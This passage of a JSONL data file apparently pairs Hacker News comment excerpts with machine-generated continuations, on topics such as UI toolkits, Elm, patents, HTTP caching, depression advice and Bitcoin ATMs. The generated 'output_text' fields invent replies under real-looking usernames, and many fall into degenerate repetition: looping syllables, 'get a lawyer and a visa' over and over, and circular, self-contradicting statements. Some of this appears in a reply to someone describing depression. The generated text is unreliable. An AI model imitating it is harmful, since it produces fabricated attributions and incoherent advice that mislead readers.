stick, a quick shot of WD40 will usually allow entry.\n\nElectronics, on hte other hand, rely either on external power, or some sort of\ninternal battery. A battery is ill-suited to heavy duty-cycl"} +{"output_text": " the book is a major distraction. I've read\nseveral books that are over 500 pages and I can't imagine reading them.\n\nI've also read books that are only a few pages long and I can't imagine\nreading them either.\n\nI think the author is trying to hit a word-count that is appropriate for the\nbook, but I think the author is also trying to hit a word-count that is\nappropriate for the reader.\n\n------\njames", "input_text": " Linux server running\nnode.js. I want to compare some NoSQL datastores to an RDBMS or two.\n\nWhen I want distraction or to rest my brain, I'll take entertainment in short\nspans. I really don't want to invest weeks of two-hour nights reading a work\nof fiction. I'm not terribly interested in reading someone's biography. And\nunless a non-fiction topic is currently meaningful to me (for example, books\nabout the human mind when I was in my early 20s), then I'm not likely to Just\nRead.\n\nI feel like if I Just Read for reading's sake, I'm not honing the craft that's\nimportant to me. I feel like it makes me a \"jack of all trades\" and therefore\n\"master of none.\"\n\n------\ncthalupa\nFor some time I thought I definitely had a shorter attention span due to the\ninternet - I'd be reading something, and compulsively have to go check my\nemail, facebook, forums I visit, hacker news, my frequented subreddits. Read a\nbit more. Check everything. Repeat.\n\nBut I didn't find it all that hard to just close my laptop and put my phone\nfacedown more than an arm's length away. I thought it would be a titanic\nstruggle - but as soon as I made it slightly inconvenient to distract myself,\nI found myself once again able to read through hundreds of pages of books.\n\nIt's anecdotal, of course. But for me, being able to \"read\" again was as\nsimple of giving myself the slightest barrier to getting distracted.\n\n------\ndeadfece\nIn many instructional and self-help books, I find that the author's attempt to\nhit appropriate word-count for"} +{"output_text": " thinking about it.\n\n~~~\njballanc\nI'm not sure I understand your point.\n\nThe lawsuit is not about the EtherPad documents, it's about the fact that\nEtherPad was used to create them.\n\n~~~\ndctoedt\n> _The lawsuit is not about the EtherPad documents, it 's about the fact that\n> EtherPad was used to create them._\n\nI'm not sure I understand your point.\n", "input_text": "\n\n------\nnawitus\nI prefer a more modular approach to UI components. After using Bootstrap for a\nwhile I find myself often choosing a standalone component over the one\nprovided by Bootstrap, since I can choose the component that best fits to the\nrquirements.\n\n------\nbaby\nI was using Foundation and Bootstrap for years and I recently switched to the\namazing semantic-ui. This seems like a clone of semantic-ui (kind of) and I\ndon't really understand what's the difference.\n\n------\nsmrtinsert\nI'm really in materializecss.com lately.\n\n~~~\nSkyMarshal\nLet me link that for you:\n[http://materializecss.com](http://materializecss.com)\n\n------\nxjia\nI'd love to see a \"related work\" section on the homepage.\n\n \nWatch Paul Graham write his latest essay - jballanc\nhttp://etherpad.com/ep/pad/slider/foundervisa\n======\ndctoedt\nAs a lawyer, I was both fascinated and horrified by the replay.\n\nImagine a company routinely using EtherPad (really cool, BTW) to create\ndocuments -- in the process saving thousands if not millions of interim\ndrafts.\n\nNow imagine the company getting into a lawsuit. Some subset of N documents --\nand of all interim-draft snapshots of those N documents that are still in\nexistence -- will have to be screened for possible disclosure to the other\nside. (There are tools for partially automating this, but lawyers and\nparalegals will still have to individually look at many documents / drafts.)\n\nIn PG's case, there were 2,886 such snapshot drafts for just one document.\n\nMakes me shudder just"} +{"output_text": "~~~\ndanenania\nI've heard of it, but I haven't used it. I'm not sure what it does that\nClojurescript doesn't.\n\n------\njondubois\nI think Elm is a great language. I've been using it for a few months now and\nI'm really enjoying it.\n\nI think the biggest problem with Elm is that it's not very well known. I think\nit's a great language but it", "input_text": "I just haven't heard of\nanything yet. While they're \"nice to have\" now, these features might become\ncrucial and important.\n\nAnother interesting thing about Elm is its progressive removal of features (I\nthink the infix operator was or is going to be removed soon) in order to make\nthe language more approachable. I actually support this because if you need\n\"true\" ML/Haskell features, there's PureScript.\n\nAnyway, glad to see Elixir and Elm being used productively!\n\n~~~\nhellofunk\nAt the very least, Elm code should be compatible with Google's Closure\ncompiler (just like Clojurescript). There is no reason the Elm folks should\ntry to re-invent the wheel on this, just harness the power of the Closure\nutilities by making your emitted JS standardized and compliant. Then you get\nall sorts of things for free, like dead code elimination, just for starters.\nThe Clojure team realized this from the _start_ and it has done a lot for the\ncljs ecosystem.\n\n~~~\ndanenania\nI disagree. Google Closure is antiquated and complicated to configure and adds\na lot of unpleasant baggage to cljs.\n\nI love Clojurescript as a language, but using it alongside existing js\nlibraries is awkward and error-prone, and getting the build process to work\nsmoothly takes way more time than it should. Cljs gets a lot right too, but it\nshouldn't be held up as an example in this regard.\n\n~~~\nsmnplk\nDo you know about cljs-js?\n[https://github.com/cljsjs/packages](https://github.com/cljsjs/packages)\n\n"} +{"output_text": "o-chee-o-la-o-la-o-la-\no-la-o-la-o-la-o-la-o-la-o-la-o-la-o-la-o-la-o-la-o-la-o-la-o-la-o-la-o-la-o-la-\no-la-o-la-o-la-o-la-o", "input_text": "\nsyllables long!) \"douwemaan apenstaartje domain\".\n\nIn my experience most (if not all) people in my age group (18 - 25) simply\npronounce it as \"at\". This could be a generational thing as most of us were\nraised with the internet and all these internet-y terms come quite naturally\nto us.\n\n~~~\nmercer\nIt could very well be an age thing, because I myself and friends of similar\nage (25-30) use both 'at', and 'apenstaartje', although primarily the former.\n\n------\nkiyoto\nIn Japanese, the sign itself is called \"attomaaku\" (\"at mark\") but it's\npronounced as \"atto\" when dictated. So someone's email would be johnsmith-at-\ngmail-dot-com, and if you ask a Japanese person to pronounce the symbol, they\nwould say \"atto\". However, if you show them the symbol and ask them _what it\nis_, they probably would say \"attomaaku\".\n\nSemiotics is fascinating.\n\n~~~\nlnanek2\natto is about the closest their writing rules allow. It is all pairs like ka,\nki, ko, ku, except for n. So all loan words have to be extended if they end\nillegally.\n\n~~~\nsterling312\nActually it's interesting that you mention this. Technically, you can also\nmake it atoma-ku, (like ato like in later, and ma-ku as in mark). I wonder if\nthe dip-tone was intentional to make it sound more like foreign word.\n\n------\nternaryoperator\n\"[chiocciola] is fun to say, too. Something like 'chee-"} +{"output_text": ", get it.\n\n4\\. If you are in the US, get a lawyer and a visa. If you are in the UK, get a\nlawyer and a visa.\n\n5\\. If you are in the UK, get a lawyer and a visa. If you are in the US, get a\nlawyer and a visa.\n\n6\\. If you are in the US, get a lawyer and a visa. If you are in the UK, get a\n", "input_text": " is a short read but I\ncan't help but think back on it and reflect on it's lessons from time to time.\n\n------\navip\nDo you have any less virtual forum to discuss this? Family? Friends? The\nInternet is a terrible medium for dealing with emotional downtimes.\n\n~~~\nphilbarr\nSometimes it can be better NOT to discuss with friends and family - they are\nmuch more likely to tell you what they think you want to hear in order to\ncheer you up.\n\n------\naerovistae\nHonestly really proud of HN right now. Skimmed this expecting to see a lot of\ncomments condemning and belittling this guy, and instead see a lot of support.\nHopefully not just because the bad comments got deleted. Rare moment for the\ninternet.\n\n------\nsantoshalper\nThere's lots of great advice in this thread, but much of it is not direct\nenough for someone suffering from depression and anxiety, which you obviously\nare. I have struggled with it on-and-off my entire adult life. What you need\nright now are clear simple marching orders that you can follow.\n\n1\\. You are in no position to run a business right now, and in no position to\nlive alone in a foreign country without extensive support from family and\nloved ones.\n\n2\\. How your actions will reflect on other foreigners is totally irrelevant to\nyour situation. Your fixation with this is a symptom of anxiety. Right now you\nbelieve you are be watched and judged. In reality, one week after you leave\nnobody there will remember you or care. You are free.\n\n3\\. Tell your accountant to wind down your business immediately. Do not\nequivocate or listen to arguments from him. If you need help"} +{"output_text": "\nI'm not sure if you're still searching, but I think you're on the right track.\n\nI dropped out of college, too, and I'm still searching. I'm not sure if I'll\never find the answer, but I'm trying to figure it out.\n\nI think the toughest problem of my life is to figure out what makes me happy.\n\nI'm not sure if you're still searching, but I think you're on the right track", "input_text": " can see how lucky I was.\n\nOn the flip side of the token, if I hadn't dropped out of college, I probably\nwould be slaving away in a consulting/investment banking role and never would\nof gone down the startup route. I would not be as happy/wealthy as I am today\nand I probably wouldn't be as mature as I am now. I understand my\nlimitations/vulnerabilities and strengths better as a result today.\n\nAlthough I'm happy with my decision, I have been having a sort of a midlife\ncrisis at this point.\n\nAll through life, there's always something ahead. In middle school, you have\nhigh school. In high school you have college; and theoretically in college,\nyou have some kind of first job. After your first job, you get\npromoted/transfer to higher paying jobs etc\u2026.\n\nFor someone who drops out of college, the path can be a bit ambiguous. I've\nsold my first company and I'll most likely start another company soon, but\nwhat happens after that? Do i continue starting/selling companies for the rest\nof my life? Do I end up just becoming an angel investor/partner at a vc firm?\nOr do i just retire now and do all the fun/creative projects that I wanted to\ndo as a kid? I guess I'm still searching\u2026\n\nI'm still searching because the toughest problem of my life wasn't to drop out\nor stay; that decision was easy. The toughest problem of my life is something\nI've been delaying solving and which I should of tried to solve sooner and\nwhich I may never solve.\n\nThe toughest problem of my life will be to learn and choose what makes me\nhappy.\n\n~~~\n2pasc"} +{"output_text": " a problem.\n\n------\njimrandomh\nI'm not sure I understand the point of this article. The author seems to be\narguing that the Xeer is a good idea, but that it's not being implemented\ncorrectly.\n\n~~~\npraxeologist\nThe author is arguing that the Xeer is a good idea, but that it's not being\nimplemented correctly.\n\n~~~\njimrandomh\nI don't think that's", "input_text": " old and actually widely accepted.\n\n~~~\npraxeologist\nXeer is one example of the success of private, customary and polycentric law.\nThe Lex Mercatoria as the other poster noted is one more example.\n\nSee also Zomia: [http://opinionator.blogs.nytimes.com/2012/02/14/the-\nundiscov...](http://opinionator.blogs.nytimes.com/2012/02/14/the-undiscovered-\ncountry/)\n\nMedieval Iceland: [http://mises.org/daily/1121](http://mises.org/daily/1121)\n\nand Ireland (page 3):\n[https://mises.org/journals/lf/1971/1971_04.pdf](https://mises.org/journals/lf/1971/1971_04.pdf)\n\nPeople are waxing about the superiority of \"British common law\" while its\nroots are a system of the Anglo-Saxons extremely similar to the Xeer.\n\n------\nblueskin_\n>stateless society\n\nSounds to me like a nicer way of saying failed state, which is what Somalia\nis.\n\n~~~\niand\nWhy say failed state? Do you presume that all countries must have a state?\n\n~~~\nblueskin_\nThe alternative is anarchy. Communists like to say that anarchy would be happy\nrainbows and sharing, but the closest nations we have to it are mostly in\nAfrica, and more resemble feudal warlords than a utopian society.\n\n------\nmcguire\n\" _People who have migrated to locations far removed from their homes can also\nfind themselves without adequate representation at Xeer proceedings._ \"\n\nThat kinda sounds like"} +{"output_text": "------\njasonkester\nI'm a bit of a \"theory\" myself, and I've been in this situation before.\n\nThe problem is that you're trying to do too much at once.\n\nYou're trying to be a software developer, a manager, a teacher, a writer, a\nmanager, a teacher, a writer, a manager, a teacher, a writer, a manager, a\nteacher, a writer, a manager, a teacher, a", "input_text": ").. those require insight. You might self-\nsabatoge because you know the insight is not there. But the one way out of\nthat is to do this: your code/app/software may not be a global solution and\nmake you rich but a stepping stone along the way to making it so. That's it.\nSimple. Do the work, practice. For those interviewing.. Do you the algorithms,\nleet code. Just do it.\n\n------\nthemodelplumber\nAre you one of the \"theorist\" NT personality types? It's very common for such\nintuitive thinkers to get into these kind of traps. Day-to-day task management\nand productivity (especially detail work) become significant stressors. The\nbest answer I've found is rebalancing in favor of thinking-as-job and doing\nmore consulting, planning, teaching, and less making or doing. Then the making\nor doing can develop on its own in e.g. hobby time.\n\nIt's just another mental model or lens through which to view the human system,\nbut I find it useful. Last I checked the majority of HN were intuitive theory-\ntypes. Good luck.\n\n------\nonmonday\nI suspect the issue isn't that rare, but clinical explanations are worth\nconsidering. Look at a wider range of that menu too. What used to be known as\nAsperger's syndrome (now \"high-functioning autism spectrum disorder\" or\nsomething like that) can have these sorts of issues as a facet, and is also of\nparticular interest to our demographic.\n\nBut I think you would also do well to consider what you do have easy access to\nmotivation for and if there is a mismatch between your work and your values\nabout how you want to live.\n\n"} +{"output_text": "\n------\njamesjguthrie\nI'm not sure if this is a good idea, but I'm going to try it out.\n\nI'm a big fan of the Bootstrap framework, but I'm not a fan of the way it\nworks. I'm not a fan of the way it works because it's not a framework, it's a\nlibrary.\n\nI'm not a fan of the way it works because it's not modular. I'm not a", "input_text": "ruture to your company and\nbe entirely limited by your capabilites and rewrite my app specifically for\nyour system? Seriously? Are there people actually interested this? Who's the\ntarget audience? (I hope you don't say backend developers)\n\n~~~\ncortesoft\nI think spire.io is more geared towards people making new applications. If you\nalready have a working backend, keep using it. However, if you are making a\nnew web application, you need to pick your battles; do you spend your time\nwriting server code and setting up a server, or do you spend your time writing\nthe actual application? It is a reinventing the wheel thing. You want to spend\nyour time writing the parts of your app that are DIFFERENT and actually core\nto your application.\n\n \nToolkit - prostoalex\nhttp://titon.io/en/toolkit\n======\nn8m\nIt's good to see something else than Bootstrap. If you like this, have a look\nat: [http://www.semantic-ui.com/](http://www.semantic-ui.com/) \\- I love using\nthis as every component can be downloaded separately.\n\n~~~\nim_dario\nI tried to use Semantic UI and I didn't grasp it properly. Don't get it as\nnegative criticism but I found there is a simple tutorial and its grid is kind\nof unusable even looking examples.\n\nIn my last project ended using Zurb Foundation although I had Semantic UI as\nfirst option. Any pointer will be useful.\n\n~~~\ndesireco42\nI got lost too, they do present it nicely, but using it is not as easy as I\nexpected. So I had to abandon it. I like Bourbon quite a bit.\n"} +{"output_text": " least one\n> process being executed at the computer in response to the command, and\n> output data being generated at the computer in response to executing at\n> least one process at the computer, the output data being transmitted to the\n> mobile device.\n\nThe claim is not limited to voice commands. It is not limited to a mobile\ndevice. It is not limited to a computer. It is not limited to a mobile device\nthat is connected to a computer. It is not", "input_text": "isode/441/...](https://www.thisamericanlife.org/radio-\narchives/episode/441/when-patents-attack) (2011)\n\nfollow up: [https://www.thisamericanlife.org/496/when-patents-attack-\npar...](https://www.thisamericanlife.org/496/when-patents-attack-part-two)\n(2013)\n\n------\nheisenbit\nThe first one claimed:\n\n[https://patents.google.com/patent/US9794348B2/en](https://patents.google.com/patent/US9794348B2/en)\n\nAbstract A method of using voice commands from a mobile device to remotely\naccess and control a computer. The method includes receiving audio data from\nthe mobile device at the computer. The audio data is decoded into a command. A\nsoftware program that the command was provided for is determined. At least one\nprocess is executed at the computer in response to the command. Output data is\ngenerated at the computer in response to executing at least one process at the\ncomputer. The output data is transmitted to the mobile device.\n\nIt is worth noting (based on Google...) that they are the first ones against\nwhich this patent asserted in court. Based on its broad applicability they are\nclearly following a strategy of getting a few wins against weaker targets\nbefore taking on the rest of the world.\n\nAlexa, Siri please help!\n\n~~~\nrayiner\nThe claim is the relevant part, not the abstract. Claim 1 recites:\n\n> A method of remotely accessing and controlling a computer from a mobile\n> device, comprising:\n\n> receiving audio data from the mobile device, at the computer, at"} +{"output_text": "\nprevent injury.\n\nI don't know if this is true, but it's a nice thought.\n\n~~~\njoezydeco\nI've heard this before, but I don't think it's true.\n\nThe brain is a very complex system, and it's not at all clear that it can\nsimulate the effects of gravity on the body.\n\n~~~\nJoeDaDude\nI don't know if it's true, but it's a", "input_text": " or whatever are actually scarce enough to\nbe re-used.\n\n~~~\niamatworknow\nNo. All of the reality as we know it is just a software bug, with the fix\nrequest sitting in some junior developer's project management system. They\njust haven't gotten around to submitting a pull request yet.\n\n------\nsizzzzlerz\nA man jumps off a 20 story building. As he passes an open window on the 6th\nfloor, people on the floor hear him exclaim \"so far, so good!\".\n\n~~~\nkomali2\nI don't get it\n\n~~~\n_cereal\nI suppose it's a quote from La Haine (1995)\n[http://www.imdb.com/title/tt0113247/](http://www.imdb.com/title/tt0113247/)\n\n> Heard about the guy who fell off a skyscraper? On his way down past each\n> floor, he kept saying to reassure himself: So far so good... so far so\n> good... so far so good. How you fall doesn't matter. It's how you land!\n\n~~~\n_raul\nI remember hearing it from Steve McQueen in The Magnificent Seven when I was a\nkid\n[https://www.youtube.com/watch?v=V7GP3l5znc8](https://www.youtube.com/watch?v=V7GP3l5znc8)\n\n------\nJoeDaDude\nAges ago (early 1980s) I read a magazine article about the minds' adaptation\nwhen falling. The article posited that the brain kicks into high gear and time\nsubjectively slows down for the faller, enabling them to take action to"} +{"output_text": " a fan of the \"tell them\" approach, I do agree with the\nsentiment.\n\nI've found that the best way to get requirements is to ask the customer what\nthey want.\n\n~~~\nj_baker\nI agree with you. I just wish I could upvote this comment 100 times.\n\n------\nj_baker\nI'm not sure I agree with the \"tell them\" approach. I think it's better to\nfind out what", "input_text": "\" logo that combined all 10 ideas, plus their own ideas, and I found\nmyself in a very awkward situation of trying to figure out how to tell them\nthat's a really bad idea. After the ordeal was done, my boss said \"Yeah, next\ntime, only show them two.\"\n\n------\njsdalton\nThe comic referenced at the top of the article was good for a laugh or two:\n\n\n~~~\nmarkpercival\nI think it also illustrates where this article goes wrong. You don't say NO to\nthe client, you say NO to a potential customer before they become the client.\n\nCiting the second part of the comic - Client: \"Our last designer was an\nIDIOT\". Then the next appropriate question is - What idiot hired/managed him?\n\nYou're about to become the 'last designer'\n\n~~~\nRyanMcGreal\n> You don't say NO to the client, you say NO to a potential customer before\n> they become the client.\n\nThis is critical, and it's fairly easy to recognize potential 'problem\nclients' when there's still time to escape.\n\n~~~\nTravisLS\nOr just make sure you have an escape clause in your contract. Maybe the last\ndesigner actually was an idiot. I've found that if you behave like the doctor\n(in the article) it's often quite easy to steer the course of projects with\neven very difficult clients.\n\n------\nj_baker\nI wish I could vote this up 100 times. The first rule of requirements\ngathering: the customer doesn't know what they want. You have to tell them.\n\n~~~\nrun4yourlives\nWhile I'm not"} +{"output_text": "s was working at a company that was going to\nrelease a new version of their software.\n\nHe was working on the new version, and he was excited. He was going to be\nworking on a new version of the software that would be released in a few\nmonths.\n\nHe was working on the new version, and he was excited. He was going to be\nworking on a new version of the software that would be released in a few\nmonths.\n\nHe", "input_text": " and role models. It's probable that\nthe specific task was handed to her, yes. And it's often true that parents\npush their children too far. But I think it's also possible she decided to do\nit on her own after reading or hearing some inspirational story.\n\nI am _projecting_ my own experience as a child onto her, but when I was her\nage I heard about Microsoft credentials. I considered trying for them, but my\nmother's friend told me they were a distraction, and gave me a copy of Turbo\nC++ instead. I can't remember ever thinking about pleasing my parents. It\nnever entered my conscious thought. I just knew I wanted to learn to program\ncomputers, and I couldn't, in that time, be interested in computers as a kid\nand envision Microsoft's credentials with the disdain that I do now. I suspect\nit's the same now, in India.\n\nIt's true that the only way out of credentialism is growing oneself as a\nperson, and finding a way to develop a self-referent identity. The _advantage_\nis that one grows while striving, and one can often find oneself in much\nbetter place, with better social support, and deeper values. It's a lot more\ndifficult to see this in the construct of an RPG, or in most public high-\nschools.\n\n~~~\ngruseom\nYes, I acknowledge what you're talking about is real\n(), and the two phenomena are\nquite different, though they may be difficult to distinguish from the outside.\n\n------\nbiohacker42\nDuring the.COM 1.0 recession, back in the stone age, one of my fellow fresh\nfaced and unemployed CS grad"} +{"output_text": "able-\nto...](http://9to5mac.com/2012/08/07/upcoming-ios-6-is-scalable-to-any-\nscreen-size-and-it-will-be-available-in-a-few-weeks/)\n\n------\njamesaguilar\nI'm not sure I understand the point of this. I can't imagine that the\ndifference between a 4\" and a 5\" display is going to be", "input_text": "7000002138/>\n\n~~~\nacqq\nThe reason is: (divide then compare)\n\nPersonally I don't like that format on notebooks as I prefer vertical space\nfor programming, but I'm not asked anything...\n\nStill I think iPhone can be OK. Real \"fullscreen\" 16:9 videos on iPhone, if\nthat's really going to be the resolution. Whatever.\n\n------\nzyb09\nSo they are adding 176px to the height of the display? Any idea why they would\ndo that? Apple usually goes for something new exciting, when introducing new\nproducts. \"We made the iPhone5 taller and added a few pixels on top, so it can\ndisplay 5 icons on the home screen\" sounds like the anti-thesis of excitement.\n\n~~~\ncma\nSince the display is larger and a more suitable aspect ratio for widescreen\nmovies, movie viewing will probably effectively get a ~30-40% larger space.\n\n~~~\nbaddox\nI've always preferred Apple's 3:2 aspect ratio to the more common 16:9 (used\nby most flagship Android phones, like the Galaxy Nexus and the Galaxy S III).\nI use my phone almost exclusively in portrait mode, so I think the advantages\nof 3:2 in portrait mode far outweigh the advantage of watching widescreen\nvideos in landscape mode.\n\n~~~\nSynaesthesia\nIt will be enhanced in portait mode, showing more information at a time, and\nalso more content when the keyboard is up, as mentioned.\n\n------\nyuiwu\nOriginal: [http://9to5mac.com/2012/08/07/upcoming-ios-6-is-scal"} +{"output_text": "fundamental part of programming.\n\n~~~\nacgourley\nI don't think it's a matter of being obscure to non-experts. I think it's a\nmatter of being obscure to people who are not familiar with the idiom.\n\n~~~\nKirinDave\nI think you're confusing the issue.\n\nI'm not saying that the idiom is obscure to non-experts. I'm saying that the\nidiom is obscure to people", "input_text": " have a similar low precedence.\n\n~~~\nacgourley\nIs \"this kind of code\" worth it? It certainly is aesthetically pleasing and\nsomewhat terse compared to a parenthesis jungle. But that does outweigh the\nfact non-experts don't know exactly what the statement is doing?\n\n~~~\nsketerpot\nTo anyone who learns the idiom, this code is fine, and perfectly readable. I\ndon't even know Ruby yet, and it took me less than a minute to become fully\ncomfortable with this kind of code. This isn't a huge barrier to \"non-\nexperts\".\n\n~~~\nacgourley\nOf course it took under a minute, you were reading a nice blog post on the\ntopic. The problem is not every instance of 'and' will include that\ninformation. And so I worry that if I drop 'and' into some minor glue script I\nwrite - it becomes less self documenting to my coworkers. It's a minor point,\nbut it can become a slippery slope (see: perl)\n\n~~~\nKirinDave\nThis entire argument is moot. No one cares how obscure a language looks to\nsomeone who is not familiar with it. Do you regularly sit down and decide, \u201cI\nam going to use a language I don't know to accomplish something essential and\nimmediate?\u201d And even if the answer is yes, then do you still not know the\nlanguage at the end of that exercise?\n\nThis is a very simple, easily understandable and easily readable feature of\nRuby. It's not obscure, complex, or even that unusual. Precedence is something\nevery competent programmer needs to understand, and it should be part of every\nprogrammer's research to learn a new language. After all, this is a\n"} +{"output_text": "._\n\nI don't think that is true. If you have a file that is changing frequently,\nthen you will get a lot of requests for the file, and the server will have to\nrespond to them all. If you have a file that is changing rarely, then you will\nget a lot of requests for the file, and the server will have to respond to\nthem all. The only difference is that the server will have to respond to the\nrequests for the file more", "input_text": "for-most-\nefficient-file-caching)\n\n[1] [https://mikewest.org/2008/11/generating-etags-for-static-\ncon...](https://mikewest.org/2008/11/generating-etags-for-static-content-\nusing-nginx)\n\n[2] There are two situations in which it is not (keep in mind that this is for\n_static_ content, dynamic is very different): if somebody willfully touches a\nfile, it will change its Last-Modified but not its checksum, triggering a new\nsend without ETag but not with it; and ETags can be coherent across servers\n(even in CDNs), the chances of last-modified being exactly the same on all\nyour servers is far smaller.\n\nOn the other hand, no etag is better than a shitty etag, and both Apache and\nIIS generate dreadful etags \u2014 which may hinder more than help \u2014 by default.\n\n[3] \n\n~~~\nsophacles\nYes, this work for cache updating, and it is fantastic for that purpose. It\ndoes not solve the actual stated problem, which is that periodic checks in an\nattempt to smooth server loading away from peaks don't usually drift towards\nextremely bursty behavior. When the file does change, you still get a large\nnumber of clients trying to download the new content all at once. The solution\nI was suggesting is similar to what you are talking about, but also has the\nfeature of smoothing the load curves.\n\n _Issue is, that only works when the file changes rarely enough, or you need\nadditional server logic to reply that the file is still good"} +{"output_text": " to go through with it\nis a testament to how much he trusts the company.\n\n~~~\npilif\nI'm not sure what you're trying to say.\n\nI'm not saying that he wasn't being cautious. I'm saying that he was being\ncautious.\n\nHe didn't go through with it because he was being cautious. He went through\nwith it because he trusted the company.\n\n~~~\navalaunch\nI'm saying that", "input_text": "etc. data. There'd have to be a\nstandard of some sort that people were willing to build with. External\nservices that want your data will ask you to oauth directly to Github et. all,\nor go around you to figure out who you are instead and then scraping pages.\n\nYou'd need enough people demanding to keep their data private to make it worth\napps' time to do that.\n\n------\njdanoz\nClearbit is another similar Service.\n\n~~~\nXorlev\nIt is? Doesn't look like it. Looks like this is about turning your own data\ninto an API, not another company selling data about you.\n\n \nMy Experience using a Bitcoin ATM - frist45\nhttp://grantammons.me/bitcoin/my-experience-using-a-bitcoin-atm/?utm_source=hn&utm_medium=web&utm_campaign=hn\n======\npilif\n_> I\u2019m normally very cautious about ID theft, so submitting all this\ninformation made me very uncomfortable._\n\nno. you're not. If you were, you would absolutely not have gone through this\ncrazy procedure.\n\n _> But I couldn\u2019t help but think that they were shifting the exchange rate to\ntheir favor (which happened to be the case for my transaction)_\n\nOf course they are - that's how they pay for actually providing you with a\nservice. Running that ATM, filling it with actual bank notes, (sometimes\nmanually) approving new accounts, all of this costs money which they make by\n\"shifting the exchange rate to their favor\"\n\n~~~\navalaunch\nHe said he was normally very cautious, which is basically an admission that he\nwasn't being cautious this time. The fact that he chose"} diff --git a/responses_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05-orig.jsonl b/responses_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05-orig.jsonl new file mode 100644 index 0000000000000000000000000000000000000000..8a36814d331f7beb273a2f3e71e2beb13baaa13b --- /dev/null +++ b/responses_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05-orig.jsonl @@ -0,0 +1,1000 @@ +{"output_text": " designer?\n\n~~~\nexcpudesigner\nI was a software engineer at the time. I was working on a project that was\ngoing to be a major part of the next generation of CPUs. I was working on the\ndesign of the core and the interconnect. I was also working on the software\nthat would run on the CPU.\n\nI was working on the design of the core and the interconnect. I was also\nworking on the software that would run on the", "input_text": "\n------\nslededit\nMy startup is doing work in this area (more SPMD than traditional single\nthread CPU). We work with FPGAs to get the incredible costs of ASIC\nmanufacture down so we can get our prototypes out there. For the specific\nworkloads we target we can be competitive even with this technology handicap -\nwhich says a lot about the low hanging fruit that is out there.\n\nIn my opinion the industry has really stagnated, with nobody really stepping\nback and looking at the whole picture.\n\nSWE certainly has more mindshare and development. But the CPU industry is\nseriously greenfield at this point if you are willing to try something\ndifferent than stuffing more of the same onto a smaller die.\n\n------\nagitator\nThere are a lot of startups popping up these days that are designing IC's for\nlow powered, high speed, neural net processing. Lots of different approaches\nthey are taking. However, many of them are still in stealth, but try scouring\nchip designers on linkedIn, especially in the bay area and see where they are\nworking.\n\nMost of them have some kind of partnership with a large company that has a\nfab, that will allow them to produce prototypes and get some validation going.\n\n------\nexcpudesigner\nI used to work in cpu design and I had the exact same thoughts as you. I think\nit boils down to the maturity of the technology and the associated high\nmarginal cost in getting any improvements.\n\nI switched to SWE 2 years ago and am definitely happier with my career\nprospects.\n\n~~~\nhnu0847\nWhat steps did you have to take to make the switch? How involved with software\nwere you while (and before) working as a CPU"} +{"output_text": " else.\n\n------\njedberg\nI'm surprised they didn't just use the same technology that they use to\nidentify potholes to identify potholes.\n\n~~~\njedberg\nI'm not sure why this is getting downvoted. I'm not saying they should have\nused it, I'm saying they could have.\n\n~~~\njedberg\nI guess I should have been more clear. I'm not saying they should have used", "input_text": "9Nnk)\n\nAnother: Unnamed Road, Palo Alto, CA 94306\n[https://goo.gl/maps/MQ5sCZ5p6Vz](https://goo.gl/maps/MQ5sCZ5p6Vz)\n\nWorse, there are several left-turn prox sensors permanently false positive\nsuch that if you miss the timing, you\u2019ll be stuck waiting for the Godot\nghostrider. And in CA, it\u2019s illegal to run a malfunctioning red traffic\nsignal, because cities need fund$ from \u201cguilty, next\u201d traffic kangaroo court.\n\n------\nbrianbreslin\nI was hoping this was some new tech they had added to their delivery cars to\nfill potholes as they drove by. Using them to at least log and identify\npotholes would be a smart move.\n\n------\nSimulacra\nI live in the richest county in America. We don't need help filling potholes,\nbut a whollleee lot of underprivileged, cash strapped rural and low income\ncommunities DO. I say forget nominations. Go forth and fill the holes in the\nmost needy communities ASAP!\n\n~~~\nOnMyPhone\nI wish more people thought like this.\n\nI worked for one of those poorer counties, and money was 100% the issue every\ndepartment had every single year.\n\nThe highway dept's budget shrank before it would even get approved by the\nboard. One of the first things the Finance Dept would ask is what roads\nabsolutely cannot wait until next year.\n\nIf they spent a lot of money to make one road good for 10+ years, then they\nwouldn't be able to do anything"} +{"output_text": " are many ways to get out of this situation.\n\n------\nmatt_the_bass\nI\u2019m in a similar situation. I\u2019m a software engineer and I\u2019ve been working\nsince I was 16. I\u2019ve been in the same company for over 10 years. I\u2019ve been\ndoing the same thing for a long time. I\u2019m not sure what to do.\n\nI\u2019ve been thinking about going back to school for a while.", "input_text": " it's hard for me to motivate myself\non work.\n\n------\ng5095\nThere's another HN article trending right now that holds your answer..\n[https://capitalandgrowth.org/articles/859/book-summary-\nthe-p...](https://capitalandgrowth.org/articles/859/book-summary-the-power-of-\nhabit.html)\n\n------\na_bonobo\nYou might enjoy reading Yihui Xie (bookdown, Knitr)'s very honest blog post on\nhis problems that sound similar to yours:\n\n[https://yihui.name/en/2018/02/career-\ncrisis/](https://yihui.name/en/2018/02/career-crisis/)\n\n------\nehsanealikhani\nHard work is not a virtue and only a necessary evil. I think the human has\nnever been evolved to work as we do today. We experience stress very often at\nwork, but stress mechanism has been evolved to literally save your life when\nyou need to fight or flight. Your mind naturally holds you back.\n\n------\njwl\nI often try to remind myself that it is better to start somewhere, than\nnowhere. Just getting started is often halfway done. Even though it might turn\nout that you could have started somewhere else which in hindsight would have\nbeen a better approach, it is still better than nothing.\n\n------\nDenisM\nI can hardly wait to get to the office most Mondays. Today is a holiday, I\u2019m\nscheming a way to sneak into the office avoiding the security system.\n\nWhat you have is certainly not normal. Even if it were prevalent you shouldn\u2019t\nsettle for it. There"} +{"output_text": " \n - Its vision of open resources overlaps GNU\n somewhat.\n \n - Its vision of open resources overlaps GNU\n somewhat.\n \n - Its vision of open resources overlaps GNU\n somewhat.\n \n - Its vision of open resources overlaps GNU\n somewhat.\n \n - Its vision of open resources overlaps GNU\n somewhat.\n \n - Its vision of open resources overlaps GNU\n somewhat", "input_text": "plementations themselves (which they are).\n\n~~~\nlevosmetalo\nIf we consider \"designed for embedding\" as a driving point we can always take\nECL (embeddable/extensible common lisp) as a base and get both very nice ffi\nand threading while still being CL.\n\n------\nCharlesMerriam2\nThis problem begs to think larger. Instead of starting with \"we are missing\nthese two critical features that the rest of the world has expected as\nstandard since the dinosaurs 